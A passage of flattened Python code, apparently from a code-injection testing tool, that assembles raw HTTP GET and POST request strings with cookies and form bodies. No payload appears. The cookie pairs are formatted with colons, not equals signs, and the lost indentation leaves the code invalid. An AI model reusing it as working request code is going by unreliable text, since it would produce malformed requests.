hasPost): ret = "GET %s HTTP/1.1\r\n" %(path) else: ret = "POST %s HTTP/1.1\r\n" %(path) ret += "Host: %s\r\n" %(host) if header.has_key("Cookie"): ret += "Cookie: " for k,v in header["Cookie"]: ret += "%s: %s;" %(k,v) ret += "\r\n" if (hasPost): ret += "Content-Type: application/x-www-form-urlencoded\r\n" ret += "Content-Length: %d\r\n"%(len(post)) ret += "\r\n" ret += "%s\r\n" %(post) ret += "\r\n" return(ret) def drawBox(self, header, choises): self.parent_codeinjector.drawBox(header, choises)